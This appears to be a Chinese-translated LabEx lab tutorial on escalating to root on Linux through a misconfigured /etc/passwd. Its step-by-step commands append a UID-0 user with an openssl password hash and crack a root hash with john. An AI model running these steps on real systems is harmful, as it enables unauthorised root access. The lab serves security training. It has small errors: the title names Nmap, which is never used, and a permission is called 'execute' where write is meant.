使用 Nmap 探索通过 /etc/passwd 文件提权

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

/etc/passwd/etc/shadow 文件在 Linux 系统中对用户认证至关重要。如果系统管理员错误配置了这些文件的内容或权限,可能会导致权限提升漏洞。在本实验中,我们将通过利用 /etc/passwd 文件来探索权限提升的方法。


Skills Graph

理解 /etc/passwd 文件

在这一步中,我们将探索 /etc/passwd 文件的结构和含义。

在 Linux 系统中,用户密码信息存储在两个文件中:/etc/passwd/etc/shadow/etc/passwd 文件包含用户信息,每一行代表一个用户账户。每一行由七个以冒号分隔的字段组成:

  • 用户名
  • 密码(如果设置为 x,则密码存储在 /etc/shadow 中)
  • 用户 ID(UID,0 表示 root 用户)
  • 组 ID(GID)
  • 用户信息(全名、房间号、工作电话、家庭电话等)
  • 主目录
  • 默认 shell

现在,打开终端并导航到 /home/labex/project 目录以继续下一步。

cd /home/labex/project

/etc/passwd 文件中获取 labex 用户的信息,并将其保存到 /home/labex/project 目录下名为 labex_passwd.txt 的文件中。

grep labex /etc/passwd > /home/labex/project/labex_passwd.txt

检查 labex_passwd.txt 文件的内容。

cat labex_passwd.txt

预期输出:

labex:x:5000:5000::/home/labex:/usr/bin/zsh

以下是每个字段的含义:

  • 用户名:test-user
  • 密码:存储在 /etc/shadow 中(由 x 表示)
  • UID:5000
  • GID:5000
  • 用户信息:此处为空
  • 主目录:/home/labex
  • 默认 shell:/usr/bin/zsh

在 Linux 认证过程中,会发生以下步骤:

  1. 输入的用户名会与 /etc/passwd 文件中每一行的第一个字段进行比对。
  2. 如果找到匹配项,则比较第二个字段中的密码。
  3. 认证成功后,用户的权限由 UID(第三个字段)和 GID(第四个字段)决定。
  4. 重要的是,UID 为 0 表示 root 用户,无论用户名是什么,都拥有完全的管理权限。

如你所见,/etc/passwd 文件在 Linux 认证过程中起着关键作用。如果攻击者能够修改此文件,他们可能会获得未经授权的访问并提升其权限。

通过 /etc/passwd 文件(写权限)进行权限提升

在这一步中,我们将学习如何通过利用对 /etc/passwd 文件的写权限来提升权限。

  1. 首先,让我们设置实验环境。打开终端并导航到 /home/labex/project 目录:

    cd /home/labex/project

    运行以下命令以设置实验环境:

    ./env_setup1.sh

    该命令将执行一个脚本来设置实验环境。你应该会看到输出,表明环境已准备就绪。

  2. 设置完成后,你将作为 user001 用户登录,模拟在渗透测试中获得的初始 shell 访问权限。

    导航到 user001 用户的主目录:

    cd ~

    使用 whoami 命令验证当前用户:

    whoami

    预期输出:

    user001

    使用 id 命令查看你的用户和组 ID:

    id

    预期输出:

    uid=1001(user001) gid=1001(user001) groups=1001(user001)

    如你所见,你是一个没有任何特殊权限的普通用户。

  3. 接下来,检查 /etc/passwd/etc/shadow 文件的权限:

    ls -l /etc/passwd /etc/shadow

    预期输出:

    --wx--xrwx 1 root root    1961 Apr  5 00:21 /etc/passwd
    -rw-r----- 1 root user001 1101 Apr  5 00:21 /etc/shadow

    注意,/etc/passwd 文件对 所有用户 具有 执行 权限 (--wx--xrwx),这是系统管理员的 配置错误

我们的目标是在 /etc/passwd 文件中创建一个新的用户条目,使用自定义的用户名、密码和 UID 为 0(root)。这将允许我们以 root 用户身份登录。

  1. 首先,通过将 root 用户的条目提取到名为 new_user_entry.txt 的新文件中,检查 /etc/passwd 文件中 root 用户的格式:

    cat /etc/passwd | grep root > new_user_entry.txt

    使用 cat 命令查看 new_user_entry.txt 文件内容时的预期输出:

    root:x:0:0:root:/root:/bin/bash
  2. 为了创建我们自己的条目,将 new_user_entry.txt 文件中的用户名从 root 更改为任何所需的名称,例如 new-user

    new-user:x:0:0:root:/root:/bin/bash
  3. 将第二个字段中的 x 替换为加密的密码哈希。我们可以使用 openssl 工具生成密码(例如 pass123)的哈希:

    openssl passwd -1 -salt ignite pass123

    预期输出:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1

    将哈希替换到 new_user_entry.txt 文件的第二个字段中:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  4. 现在,将这一行追加到 /etc/passwd 文件中:

    echo "$(cat new_user_entry.txt)" >> /etc/passwd

    注意:我们可以将新条目追加到 /etc/passwd 文件中,因为它对 所有用户 具有写权限。在现实场景中,此文件不应为普通用户提供写权限。

  5. 通过在 /etc/passwd 文件中搜索 new-user 来验证新条目:

    cat /etc/passwd | grep new-user

    预期输出:

    new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
  6. 最后,切换到 new-user 用户,密码为 pass123

    su new-user

    在提示时输入密码 pass123。你现在应该拥有 root 权限,提示符的变化表明了这一点:

    user001@660ecfa4d7612c798ef141ab:~$ su new-user
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

通过 /etc/passwd 文件(密码哈希)进行权限提升

在这一步中,我们将学习当 root 用户的密码哈希存储在 /etc/passwd 文件而非 /etc/shadow 文件时,如何提升权限。

  1. 首先,让我们设置实验环境。打开终端并导航到 /home/labex/project 目录:

    如果你仍然以 new-user 身份登录,可以使用 exit 命令退出当前 shell,直到返回到 labex shell,然后导航到 /home/labex/project 目录:

    cd /home/labex/project

    运行以下命令以设置实验环境:

    ./env_setup2.sh

    该命令将执行一个脚本来设置实验环境。你应该会看到输出,表明环境已准备就绪。

  2. 设置完成后,你将作为 user001 用户登录,模拟在渗透测试中获得的初始 shell 访问权限。

    导航到 user001 用户的主目录:

    cd ~
  3. 检查 /etc/passwd/etc/shadow 文件的权限:

    ls -l /etc/passwd /etc/shadow
    -rw-r--r-- 1 root root 2059 Apr  5 01:36 /etc/passwd
    -rw-r----- 1 root root 1101 Apr  5 00:21 /etc/shadow

    这一次,文件权限是 正确 配置的,你只有对 /etc/passwd 文件的读取权限。

  4. 查看 /etc/passwd 文件的内容以找到 root 用户的密码哈希:

    cat /etc/passwd | grep ^root > ~/hash.txt

    通过运行以下命令检查 hash.txt 文件的内容:

    cat ~/hash.txt

    预期输出:

    root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash

    注意,root 用户的密码哈希存储在 /etc/passwd 文件的第二个字段中。这通常是之前系统被入侵或系统管理员 配置错误 的结果。

  5. 现在,运行 john 来破解哈希:

    john ~/hash.txt > ~/cracked.txt

    john 是一个流行的密码破解工具,它使用字典攻击来破解密码哈希。输出将指示密码是否成功破解。

    Created directory: /home/user001/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    检查 cracked.txt 文件的内容以查看破解的密码:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    hello            (root)

    如你所见,john 成功破解了密码,密码是 hello

  6. 使用 su 命令切换到 root 用户,在提示时输入破解的密码:

    su root

    在提示时输入密码 hello。你现在应该拥有 root 权限,命令提示符的变化表明了这一点。

    user001@660ecfa4d7612c798ef141ab:~$ su root
    Password:
    root@660ecfa4d7612c798ef141ab:/home/user001#

总结

在本实验中,我们学习了 Linux 用户认证过程、/etc/passwd 文件的重要性,以及如何利用它进行权限提升。我们涵盖了两个场景:(1) 当 /etc/passwd 文件具有写权限时,允许我们创建一个具有 root 权限的新用户条目;(2) 当 root 用户的密码哈希存储在 /etc/passwd 文件中时,我们可以使用 john 工具破解密码。通过动手实践,我们更深入地理解了如何利用 /etc/passwd 文件中的配置错误来提升 Linux 系统上的权限。